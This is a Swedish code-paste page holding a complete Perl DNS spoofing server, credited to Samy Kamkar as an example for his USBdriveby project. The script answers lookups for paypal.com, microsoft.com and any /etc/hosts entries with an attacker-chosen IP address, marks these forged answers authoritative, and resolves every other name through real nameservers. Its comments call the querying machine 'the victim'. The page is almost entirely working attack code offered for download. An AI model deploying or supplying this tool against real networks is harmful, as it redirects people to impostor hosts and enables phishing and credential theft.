DNS spoof

Skapad 2 år sedan, skriven i Perl, med 302 visningar.
URL http://kod.perl.se/view/dbb2bf80 Bädda in
Ladda hem koden eller visa koden i råformatVisa bredare version
  1. #!/usr/bin/perl
  2. #
  3. # recursive DNS server which spoofs specific hosts
  4. # created as an example for USBdriveby
  5. # http://samy.pl/usbdriveby
  6. #
  7. # you can spoof hosts by adding them to your /etc/hosts
  8. # or by adding them to the array below
  9. #
  10. # -samy kamkar, dec 16
  11.  
  12. # to install Net::DNS, run:
  13. # perl -MCPAN -e 'install Net::DNS'
  14.  
  15. use strict;
  16. use Net::DNS::Nameserver;
  17.  
  18. # hosts to spoof, or add them to /etc/hosts
  19. my %spoof = (
  20.         'paypal.com' => '72.14.179.47',
  21.         'microsoft.com' => '72.14.179.47',
  22. );
  23.  
  24. # real nameservers to resolve hosts through
  25. my @ns = qw/4.2.2.2 4.2.2.3/;
  26.  
  27. # hosts file path
  28. my $hostsfile = "/etc/hosts";
  29.  
  30.  
  31. # read in /etc/hosts for more spoofed domains
  32. open(HOSTS, "<$hostsfile") || die "Can't read $hostsfile: $!";
  33. while (<HOSTS>)
  34. {
  35.         if (/^\s*(\d+\.\d+\.\d+\.\d+)\s+([^#\s]+)/)
  36.         {
  37.                 $spoof{lc($2)} = $1;
  38.         }
  39. }
  40. close(HOSTS);
  41.  
  42.  
  43. my $resolver = new Net::DNS::Resolver(
  44.         nameservers => \@ns,
  45.         recurse => 1,
  46. );
  47.  
  48. sub reply_handler
  49. {
  50.         my ($qname, $qclass, $qtype, $peerhost,$query,$conn) = @_;
  51.         my ($rcode, @ans, @auth, @add);
  52.         my $err = "NOERROR";
  53.  
  54.         print "Received query from $peerhost to ". $conn->{sockhost}. "\n";
  55.         $query->print;
  56.  
  57.         # if the victim is attempting to lookup a domain we're spoofing
  58.         if ($spoof{lc($qname)})
  59.         {
  60.                 # spoof a response!
  61.                 my ($ttl, $rdata) = (3600, $spoof{lc($qname)});
  62.                 my $rr = new Net::DNS::RR("$qname $ttl $qclass $qtype $rdata");
  63.                 push @ans, $rr;
  64.         }
  65.  
  66.         # look up a real host and respond appropriately
  67.         else
  68.         {
  69.                 my $ret = $resolver->search($qname, $qtype);
  70.                 if ($ret && $ret->{answer})
  71.                 {
  72.                         push @ans, @{$ret->{answer}};
  73.                 }
  74.                 else
  75.                 {
  76.                         $err = "NXDOMAIN";
  77.                 }
  78.         }
  79.  
  80.         # mark the answer as authoritive by setting the 'aa' flag
  81.         return ($err, \@ans, \@auth, \@add, { aa => 1 });
  82. }
  83.  
  84. my $ns = new Net::DNS::Nameserver(
  85.                 LocalPort    => 5354,
  86.                 LocalAddr                => '127.0.0.1',
  87.                 ReplyHandler => \&reply_handler,
  88.                 Verbose      => 1
  89. ) || die "couldn't create nameserver object\n";
  90.  
  91. $ns->main_loop;

Svara på "DNS spoof"

Här kan du skriva ett svar till kodsnutten ovan